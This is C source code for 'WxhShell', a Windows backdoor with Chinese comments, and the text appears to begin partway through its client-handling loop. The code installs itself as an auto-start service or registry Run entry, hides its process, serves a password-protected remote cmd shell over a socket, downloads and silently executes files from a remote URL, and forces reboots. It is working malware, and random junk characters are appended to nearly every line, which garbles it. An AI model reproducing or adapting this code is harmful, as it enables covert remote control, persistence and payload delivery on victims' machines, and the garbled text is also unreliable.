    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0%4OmLBT  
    else { -Tn%O|#K  
    closesocket(wsh); O%N.;Ve  
    ExitThread(0); K<kl2#  
    } +-,iC6kK  
    break; c*\;!dbP  
    } {8oGWQgrj  
  // 获取shell ]}p<P):hO  
  case 's': { vm'ZA7f6  
    CmdShell(wsh); N/--6)5~0  
    closesocket(wsh); i'4.w?OZ  
    ExitThread(0); Ks@c wY  
    break; Z*Gf`d:  
  } z^z`{B  
  // 退出 $mh\`  
  case 'x': { 7D4tuXUq2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \4^rb?B  
    CloseIt(wsh); qmt9J?$k  
    break; )*S:C   
    } }a.j~>rq  
  // 离开 'tvuw\hhL  
  case 'q': { k ~ByICE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T~(Sc'8  
    closesocket(wsh); ai-rF^ehC  
    WSACleanup(); |_>^vW1f  
    exit(1); RAP-vVh/C  
    break; Qh(X7B  
        } zsJermF,O  
  } ^gZ,A]  
  } %yu =,J j  
@NqwJ.%g  
  // 提示信息 `fTM/"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nP]!{J]  
} >m. .  
  } _#s,$K#  
=I)43ah d  
  return; . R/y`:1:W  
} y!.jpF'uI  
Jk6}hUH,  
// shell模块句柄 ]| +M0:2?  
int CmdShell(SOCKET sock)  1/2cb-V  
{ )AQ^PBwp  
STARTUPINFO si; Zo yO[#  
ZeroMemory(&si,sizeof(si)); W>)0=8#\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S!.&#sc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~~Ezt*lH  
PROCESS_INFORMATION ProcessInfo; C?T\5}h  
char cmdline[]="cmd"; (Y@T5-!D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '.(Gg%*\.  
  return 0; m(6d3P  
} *_o(~5w-K  
'=n?^EPE3  
// 自身启动模式 vjlN@ "  
int StartFromService(void) MmR6V#@:  
{ "+- 'o+  
typedef struct ,0.kg  
{ "J1A9|  
  DWORD ExitStatus; DfD >hf/  
  DWORD PebBaseAddress; `KFEzv  
  DWORD AffinityMask; _9 ]:0bDUo  
  DWORD BasePriority; og5VB  
  ULONG UniqueProcessId; !i^"3!.l,]  
  ULONG InheritedFromUniqueProcessId; ,=P&{38\q  
}   PROCESS_BASIC_INFORMATION; t?4H9~iH  
a (~Y:v  
PROCNTQSIP NtQueryInformationProcess; c MXv  
, ~O>8VbF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i}sAF/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q'/sP 5Pj  
X8$Mzeq  
  HANDLE             hProcess; w`)5(~b  
  PROCESS_BASIC_INFORMATION pbi; 6]?mjG6  
d_@ E4i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f^ui Zb  
  if(NULL == hInst ) return 0; E EDFyZ  
u ]e-IYH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4,I,f>V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hd|[>4Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d:(Ex^^  
SIJ7Y{\.  
  if (!NtQueryInformationProcess) return 0; | ys5.|  
P}v ;d]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #'_#t/u  
  if(!hProcess) return 0; mqZH<.mn  
nK1eh@a9Qv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *#T: _  
z1mB Hz6  
  CloseHandle(hProcess); ~~W.]>f  
MJXnAIG?2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3^7+fxYWo  
if(hProcess==NULL) return 0; ba|xf@=&  
wk|+[Rl;L  
HMODULE hMod; 1K#>^!?M  
char procName[255]; nR{<xD^  
unsigned long cbNeeded; .G{cx=;  
*7xcwj eP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dy&G~F28  
v`A)GnNiN  
  CloseHandle(hProcess); 4$xVm,n|  
:#YC_ id  
if(strstr(procName,"services")) return 1; // 以服务启动 W%L'nR~w$  
OcT Wq  
  return 0; // 注册表启动 |Ea%nghl  
} & FhJ%JK  
Msqqjhoy  
// 主模块 ET}Z>vU}+  
int StartWxhshell(LPSTR lpCmdLine) m!FuC=e  
{ !85bpQ.  
  SOCKET wsl; 3FiK/8mu  
BOOL val=TRUE; 1&boD\ 7  
  int port=0; jIs>>  
  struct sockaddr_in door; ^*ZaqMA  
|+ F ~zIu'  
  if(wscfg.ws_autoins) Install(); t "VT['8  
9JA@m  
port=atoi(lpCmdLine); rCPIz<  
[G}dPXD  
if(port<=0) port=wscfg.ws_port; [MIgQ.n  
h#YO;m2wd  
  WSADATA data; $s7U |F,I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]o] VS  
AU9C#;JD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "'v+*H 3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6e ?xu8|  
  door.sin_family = AF_INET; ~J].~^[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c(Dp`f,  
  door.sin_port = htons(port); : @|Rj_S;  
U"Gx Xrl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1/-3m Po  
closesocket(wsl); BM!ZdoKrKt  
return 1; m*y&z'e\  
} Qder8I  
EE"8s7ZF  
  if(listen(wsl,2) == INVALID_SOCKET) { 1V2]@VQF  
closesocket(wsl); ?Bu*%+  
return 1; B:"D)/\  
} s{^B98d+W  
  Wxhshell(wsl); 9nAP%MA`  
  WSACleanup(); T_*inPf  
YoKE=ln7  
return 0; >w.;A%|N  
og";mC  
} yY8zTWji_  
[5&k{*}}  
// 以NT服务方式启动 m1W) PUy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -E}X`?WhD  
{ fqI67E$59  
DWORD   status = 0; 0Md>-H;ZY  
  DWORD   specificError = 0xfffffff; ,b5'<3\  
bSe\d~{  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  xL15uWk-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yEWm.;&3=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .=eEuH  
  serviceStatus.dwWin32ExitCode     = 0; }#s{."  
  serviceStatus.dwServiceSpecificExitCode = 0; $NR[U+  
  serviceStatus.dwCheckPoint       = 0; qt L]x -O  
  serviceStatus.dwWaitHint       = 0; y,:WLk~  
336ETrG^0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;a?<7LIx  
  if (hServiceStatusHandle==0) return; ?>;b,^4  
%Yu~56c-  
status = GetLastError(); Cf(WO-F^  
  if (status!=NO_ERROR) ;O7"!\  
{ K<^p~'f4P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4bk`i*-O  
    serviceStatus.dwCheckPoint       = 0; /0\g!29l<  
    serviceStatus.dwWaitHint       = 0; nT?+^Ruc  
    serviceStatus.dwWin32ExitCode     = status; ?pZ"7kkD  
    serviceStatus.dwServiceSpecificExitCode = specificError; {}s/p9F4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1'/ [x(/]d  
    return; 9D14/9*(dU  
  } cg{5\ Vl  
bD{tsxm[9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  0J+WCm`  
  serviceStatus.dwCheckPoint       = 0; $1ovT8  
  serviceStatus.dwWaitHint       = 0; f" Iui  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zg ,=A?  
} |? V7E\S  
B& @ pZYl  
// 处理NT服务事件,比如:启动、停止 2,:{ 5]Q$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6?u`u t  
{ ,marNG  
switch(fdwControl) <P#BQt f  
{ Jk%5Fw0  
case SERVICE_CONTROL_STOP: 2OUx@Vj  
  serviceStatus.dwWin32ExitCode = 0; bit|L7*14  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +d#8/S*  
  serviceStatus.dwCheckPoint   = 0; curYD~7  
  serviceStatus.dwWaitHint     = 0; rG?5z"  
  { )Lz =[e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 C)VW  
  } s=:)!M.i  
  return; _FOIMjh%N  
case SERVICE_CONTROL_PAUSE: hV~M!vFxA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wb9(aS4  
  break; [;{xiW4V]  
case SERVICE_CONTROL_CONTINUE: @Y`Z3LiR$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'Y @yW3K  
  break; eGT&&Y  
case SERVICE_CONTROL_INTERROGATE: rGQD+ d  
  break; x:0swZ5Z  
}; 6fw7\u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h[u@UGK%  
} MhA4C 8  
T;3qE1c  
// 标准应用程序主函数 eyh}O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a>l,H#w*vW  
{ 9n is8  
OK v2..8  
// 获取操作系统版本 C-A? mIC  
OsIsNt=GetOsVer(); lv?`+tU2_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cz,CL/rno  
842v^ 2  
  // 从命令行安装 Ce-= -  
  if(strpbrk(lpCmdLine,"iI")) Install(); )C"ixZ>2xQ  
]&H"EHC<$  
  // 下载执行文件 U]}FA2  
if(wscfg.ws_downexe) { 7[P-;8)tq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *lA+ -gkK*  
  WinExec(wscfg.ws_filenam,SW_HIDE); eCR^$z=c  
} XYR q"{Id  
F?tWx+N<{  
if(!OsIsNt) { C) R hld  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;=$;h6W0  
HideProc(); N$Ad9W?T  
StartWxhshell(lpCmdLine); ,\iXZ5"R  
} d:|x e:  
else 7w2$?k',-  
  if(StartFromService()) *Sdx:G~gp  
  // 以服务方式启动 J*b Je"8  
  StartServiceCtrlDispatcher(DispatchTable); ]QHp?Ii1  
else Wcc4/:`Hu  
  // 普通方式启动 l!XCYg@67  
  StartWxhshell(lpCmdLine); W/\VpD) ?;  
\,Ws=9f  
return 0; UFT JobU  
} B<L7`xL  
niCK(&z  
+kd1q  
O'IU1sU  
=========================================== >v, si].  
<A=1]'1\r  
Cp/f18zO  
{ rLgyrj$  
s !?uLSEdb  
"P#1=  
" z]rr Q=dAA  
E\DA3lq  
#include <stdio.h> v[|W\y@H/3  
#include <string.h> _b%)  
#include <windows.h> X uE: dL?  
#include <winsock2.h> C`t @tgT  
#include <winsvc.h> 4 j=K3m  
#include <urlmon.h> 9h6Oq(0b8  
h_#=f(.'j  
#pragma comment (lib, "Ws2_32.lib") V6P-?Nd  
#pragma comment (lib, "urlmon.lib") ;<Z6Y3>I8  
=MQ/z#:-P  
#define MAX_USER   100 // 最大客户端连接数 =3(Auchl$Y  
#define BUF_SOCK   200 // sock buffer #at`7#K@  
#define KEY_BUFF   255 // 输入 buffer ?[Y(JO#  
\Aro Sy9  
#define REBOOT     0   // 重启 s*la`(x  
#define SHUTDOWN   1   // 关机 9}9VZ r?  
RV  V`  
#define DEF_PORT   5000 // 监听端口 uEJ8Lmi  
e1-tpD:J  
#define REG_LEN     16   // 注册表键长度 <$e|'}>A  
#define SVC_LEN     80   // NT服务名长度 YS^!'IyG/B  
ISNL='%  
// 从dll定义API  <EU R:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mF\!~ag|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U&WEe`XM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m4@NW*G{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ -$ Do  
t([}a ~1}  
// wxhshell配置信息 &;-zy%#l  
struct WSCFG { d)vP9vXy  
  int ws_port;         // 监听端口 klJ21j0Bb2  
  char ws_passstr[REG_LEN]; // 口令 +v;z^+  
  int ws_autoins;       // 安装标记, 1=yes 0=no zw+aZDcV(  
  char ws_regname[REG_LEN]; // 注册表键名 >E<ib[vK[  
  char ws_svcname[REG_LEN]; // 服务名 oVy{~D=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :/|"db&`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hNN[djR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2g{tzR_j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WSHPh hM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >l &]Ho  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;_(f(8BO   
]Orx %8QS!  
}; 1'<C-[1  
u)0I$Tc"  
// default Wxhshell configuration :82h GU  
struct WSCFG wscfg={DEF_PORT, kCTf>sJe  
    "xuhuanlingzhe", ?+d`_/IB  
    1, {Uw 0zC  
    "Wxhshell", @zg}x0]  
    "Wxhshell", !B3TLe h  
            "WxhShell Service", R7bG!1SHl  
    "Wrsky Windows CmdShell Service", W91yj:  
    "Please Input Your Password: ", ZkbE&7Z  
  1, SL4?E<Jb  
  "http://www.wrsky.com/wxhshell.exe", f,HUr% @  
  "Wxhshell.exe" Z[. M>|  
    }; 7s(tAbPdB  
?mg@zq8  
// 消息定义模块 FRd"F$U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5Kg'&B (  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z4VFfGCTL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E^i]eK*"  
char *msg_ws_ext="\n\rExit."; qE~_}4\Z9  
char *msg_ws_end="\n\rQuit."; xR1G  
char *msg_ws_boot="\n\rReboot..."; Uq  .6h  
char *msg_ws_poff="\n\rShutdown..."; yn62NyK  
char *msg_ws_down="\n\rSave to "; TQ4@|S:OF  
Rg?6eN  
char *msg_ws_err="\n\rErr!"; So aqmY;+  
char *msg_ws_ok="\n\rOK!"; _M^.4H2  
#V!a<w4_  
char ExeFile[MAX_PATH]; /5ZX6YkeH  
int nUser = 0; I_J&>}V'  
HANDLE handles[MAX_USER]; s\ -,RQ1  
int OsIsNt; C%XO|sP  
Jxe+LG  
SERVICE_STATUS       serviceStatus; ?%s>a8w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &3Zq1o  
+<7Oj s>o  
// 函数声明 4V,.Oi  
int Install(void); 0xB2  
int Uninstall(void); isZ5s\  
int DownloadFile(char *sURL, SOCKET wsh); }|P3(*S  
int Boot(int flag); kWzN {]v  
void HideProc(void); YlHP:ZW-cu  
int GetOsVer(void); L:G#>  
int Wxhshell(SOCKET wsl); -JMn?]  
void TalkWithClient(void *cs); I%[e6qX@  
int CmdShell(SOCKET sock); *T5;d h (  
int StartFromService(void); WgtLKRZ\  
int StartWxhshell(LPSTR lpCmdLine); [?!I*=*b  
V ;T :Q%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jj5S+ >4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g68p9#G  
yayhL DL  
// 数据结构和表定义 aLO^>",  
SERVICE_TABLE_ENTRY DispatchTable[] = VeoG[Jl  
{ m#7(<#  
{wscfg.ws_svcname, NTServiceMain}, 7;'33Bm*  
{NULL, NULL} isQ(O  
}; t'qYM5  
 F!omkN  
// 自我安装 ]?Ef0?44  
int Install(void) .Mt3e c<  
{ d1 j9{  
  char svExeFile[MAX_PATH]; fr@F7s5}  
  HKEY key; >[}oH2oi  
  strcpy(svExeFile,ExeFile); y>^a~}Zq  
#~u0R>=  
// 如果是win9x系统,修改注册表设为自启动 $NXP)Lic)  
if(!OsIsNt) { c`;\sW-_W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P15 H[<:Fz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bF'rK'',  
  RegCloseKey(key); x]~TGzS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bzg C+yT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [|}IS@  
  RegCloseKey(key); yIMqQSt79z  
  return 0; c'2d+*[  
    } 1yy?1&88S  
  } I=Y>z ^4  
} V~J5x >O  
else { vF$i"^;tJ;  
xmW~R*^  
// 如果是NT以上系统,安装为系统服务 z6>@9+V-&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >DqF>w.1  
if (schSCManager!=0) Tb/TP3N  
{ o4(*nz  
  SC_HANDLE schService = CreateService }aCa2%  
  ( @ZKf3,J0  
  schSCManager, q'2vE;z Kb  
  wscfg.ws_svcname, ny={OhP-  
  wscfg.ws_svcdisp, nB[-KS  
  SERVICE_ALL_ACCESS, L * n K> +  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eim+oms  
  SERVICE_AUTO_START, U$rMZk  
  SERVICE_ERROR_NORMAL, bS.w<V Ew  
  svExeFile, k4TWfl^}9  
  NULL, DL]tg [w{  
  NULL, zM0NRERi  
  NULL, &4#Zi.]  
  NULL, vdQoJWuB  
  NULL Mf}M/Fh  
  ); 7ubz7*  
  if (schService!=0) 1v o)]ff  
  { M>Q]{/V7T  
  CloseServiceHandle(schService); hy;VvAH 5  
  CloseServiceHandle(schSCManager); f)I5=Ijy(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D$>_W,*V  
  strcat(svExeFile,wscfg.ws_svcname); |s|}u`(@9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #cbgp;,M{I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u8e_Lqx?  
  RegCloseKey(key); tAX* CMW  
  return 0; 8fR(y~_gF  
    } &W `xZyb3  
  } t6+m` Kq  
  CloseServiceHandle(schSCManager); "4j~2{{ F  
} GK?ual1  
} Z$oy;j99y  
_|HhT^\P  
return 1; %!|w(Povq  
} qnm_#!&uHT  
_k-_&PR  
// 自我卸载 <@<rU:o=V  
int Uninstall(void) UHBXq;?&q  
{ 8:cbr/F<  
  HKEY key; `:/'")+@v  
:yay:3qv  
if(!OsIsNt) { Fu7:4+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DM.lQ0xk  
  RegDeleteValue(key,wscfg.ws_regname); ,'#TdLe  
  RegCloseKey(key); E-LkP;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =8^+M1I  
  RegDeleteValue(key,wscfg.ws_regname); "TRS(d|3  
  RegCloseKey(key); Z%T Ajm  
  return 0; Kg@'mG  
  } R!nf^*~  
} ]5!3|UYS  
} H`EhsYYK  
else { %idBR7?`g  
~ELY$G.xl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9>}&dQ8  
if (schSCManager!=0) lH-VqkR\  
{ Hq@+m!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,5DJ54B!  
  if (schService!=0) J~~\0 u  
  { !\4x{Wa]  
  if(DeleteService(schService)!=0) { %L|fTndKH  
  CloseServiceHandle(schService); $ {yc t  
  CloseServiceHandle(schSCManager); fv+]iK<{  
  return 0; oqrx7 +0{  
  } sqkWQ`Ur  
  CloseServiceHandle(schService); =j7Du[?Vu  
  } =?sG~  
  CloseServiceHandle(schSCManager); %"RJi?  
} &OR(]Wt0  
} .qBc;u  
W"{Ggk `  
return 1; qpQ;,8X-"  
} *yq65yZi5  
js$R^P  
// 从指定url下载文件 F>;Wbk&[|  
int DownloadFile(char *sURL, SOCKET wsh) Q3@zUjq_Q  
{ 72HA.!ry  
  HRESULT hr; *A-_*A  
char seps[]= "/"; D 0Xl`0"'  
char *token; CS^6$VL7e  
char *file; aNbS0R>l  
char myURL[MAX_PATH]; +VwQ=[y]  
char myFILE[MAX_PATH]; Kda'N$|`  
VKa+[  
strcpy(myURL,sURL); U}92%W?  
  token=strtok(myURL,seps); r@G*Fx8Z  
  while(token!=NULL) @]uqC~a^  
  { Mj0 ,Y#=76  
    file=token; 6St=r)_  
  token=strtok(NULL,seps); ax@H^Gj@2  
  } 8SRR)O[)}  
%m&6'Rpfk  
GetCurrentDirectory(MAX_PATH,myFILE); Ek +R  
strcat(myFILE, "\\"); ~IhAO}1  
strcat(myFILE, file); dx%z9[8~{.  
  send(wsh,myFILE,strlen(myFILE),0); m8n)sw,,  
send(wsh,"...",3,0); Gp%po@A&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yf0 KG  
  if(hr==S_OK) 3Z*r#d$nh:  
return 0; 2|pTw5z~  
else qS?o22  
return 1; WJ{Iv] }9  
3W1Lh~Av  
} v h,(]t  
d/_D|ivZ=  
// 系统电源模块 =rKJJa N  
int Boot(int flag) ybaY+![*  
{ %H{pU:[5*  
  HANDLE hToken; %QP[/5vQ  
  TOKEN_PRIVILEGES tkp; 9 qx4F<   
i/:L^SQAq  
  if(OsIsNt) { #GM^:rF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 20Zxv!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2A_1E \  
    tkp.PrivilegeCount = 1; !h? HfpYv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !y_FbJ8KC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s8-RXEPb  
if(flag==REBOOT) { n;Bb/Z!~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L0w6K0J4  
  return 0; i{$-[*WHiV  
} 0C zQel)L:  
else { wFMH\a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CPB{eQeDuv  
  return 0; 0zW*JJxV  
} <]Td7-n  
  } 4DL;Y  
  else { =.`\V]  
if(flag==REBOOT) { ns~]a:1yh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ni;)6,i  
  return 0; @i ~A7L0/  
} rHKO13WF  
else { )kep:-wm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SkuR~!  
  return 0; k^ <]:B  
} eT b!xb  
}  X}(s(6  
ixA.b#!1  
return 1; T"xJY#)}  
} 7z? ;z<VJ  
HV%/baX]  
// win9x进程隐藏模块 @i#JlZM_  
void HideProc(void) ]I|(/+}M  
{ Kq[4I[+R  
L:HvrB~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b8K]>yDAh  
  if ( hKernel != NULL ) Zn9tG:V  
  { Pd7\Q]of  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^ ]9K>}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4iAF<|6s  
    FreeLibrary(hKernel); +b 6R  
  } [9 MH"\  
_ [k \S|iY  
return; v,i|:;G  
} V'9.l6l   
exq5Zc%  
// 获取操作系统版本 tWn dAM(U7  
int GetOsVer(void) !( lcUdBd  
{ )Qb,zS6  
  OSVERSIONINFO winfo; d,GOP_N8I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )$]lf }  
  GetVersionEx(&winfo); ,l~<|\4,wv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8m"k3:e^  
  return 1; wPg/.N9H  
  else HAjl[c  
  return 0; JP8}+  
} 2.3_FXSt  
K/W=r  
// 客户端句柄模块 ?%5VaxWJ  
int Wxhshell(SOCKET wsl) vH+g*A0S<  
{ w0!$ow.l  
  SOCKET wsh; g-qXS]y7  
  struct sockaddr_in client; =zFROB\  
  DWORD myID; f3O6&1D  
o-6d$c}{f  
  while(nUser<MAX_USER) FMdu30JV  
{ 'dwW~4|B  
  int nSize=sizeof(client); hC2Fup1@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7IxeSxXH  
  if(wsh==INVALID_SOCKET) return 1; ?I=1T.  
wsmgkg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (H_dZL  
if(handles[nUser]==0) 4<Vi`X7[F  
  closesocket(wsh); (~DW_+?]'  
else F CYGXtc  
  nUser++; `/sNX<mp  
  } ~ YH?wdT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zA5nr`  
yV.p=8:  
  return 0; LSta]81B4L  
} :9QU\{2  
[|:{qQyD  
// 关闭 socket h:fiUCw  
void CloseIt(SOCKET wsh) "VZ1LVI  
{ T ipH}  
closesocket(wsh); 'OnfU{Ai  
nUser--; jf3Zy :*K  
ExitThread(0); [-\Y?3  
} SXw r$)4_  
$5pCfW8>  
// 客户端请求句柄 ^ 9+ Qxv  
void TalkWithClient(void *cs) Y|R=^ =d\  
{ eB~\~@  
|:S6Gp[\O  
  SOCKET wsh=(SOCKET)cs; 9\"\7S/Z  
  char pwd[SVC_LEN]; h@`Rk   
  char cmd[KEY_BUFF]; `%Fp'`ZM$8  
char chr[1]; QYbB\Y  
int i,j; ZuGSRGX'  
4.,EKw3  
  while (nUser < MAX_USER) { fAJyD`]Z  
+Q+O$-a <  
if(wscfg.ws_passstr) { UC+Qn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =%|`gZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c=u+X` Q  
  //ZeroMemory(pwd,KEY_BUFF); !l*A3qA  
      i=0; Iynks,ikA  
  while(i<SVC_LEN) { ~);4O8~.  
]\yB,  
  // 设置超时 *fm?"0M5  
  fd_set FdRead; i$y=tJehi  
  struct timeval TimeOut; |it*w\+M  
  FD_ZERO(&FdRead); P"NI> HM  
  FD_SET(wsh,&FdRead); \ZRII<k5)  
  TimeOut.tv_sec=8; [6TI_U~  
  TimeOut.tv_usec=0; <qR$ `mLN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OmuE l>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 21OfTV-+3  
w}1IP-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q%O9DCi  
  pwd=chr[0]; \!-]$&,j4  
  if(chr[0]==0xd || chr[0]==0xa) { 2- L-=0  
  pwd=0; wA{) 9.  
  break; 6teu_FS  
  } n`= S&oKH  
  i++; %# uw8V  
    } rv[BL.qV  
NATi)A"TZ  
  // 如果是非法用户,关闭 socket !&OdbRHM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xd3mAf  
} wp:$Tqa$  
&K]|{1+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KdR\a&[MA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _3 [E$Lg  
q"Bd-?9  
while(1) { qF3S\ C  
cY} jPDH  
  ZeroMemory(cmd,KEY_BUFF); T2-x1Sw_  
leHKBu'd  
      // 自动支持客户端 telnet标准   Z2{$FN  
  j=0; NTJ,U2  
  while(j<KEY_BUFF) { e~QLzZ3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '_g&!zi8~  
  cmd[j]=chr[0]; w32F?78]  
  if(chr[0]==0xa || chr[0]==0xd) { rREev  
  cmd[j]=0; Uj 3{c  
  break; f~d =1  
  } y%--/;  
  j++; *RkvM?o@jC  
    } Q m9b:U~  
LzXIqj'H7T  
  // 下载文件 j,,#B4b  
  if(strstr(cmd,"http://")) { RW>F %P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rGH7S!\AM  
  if(DownloadFile(cmd,wsh)) i_6wD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ICoZ<;p  
  else 9LQy 0Gx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -NG9?sI\U  
  } 7; }TNK\+v  
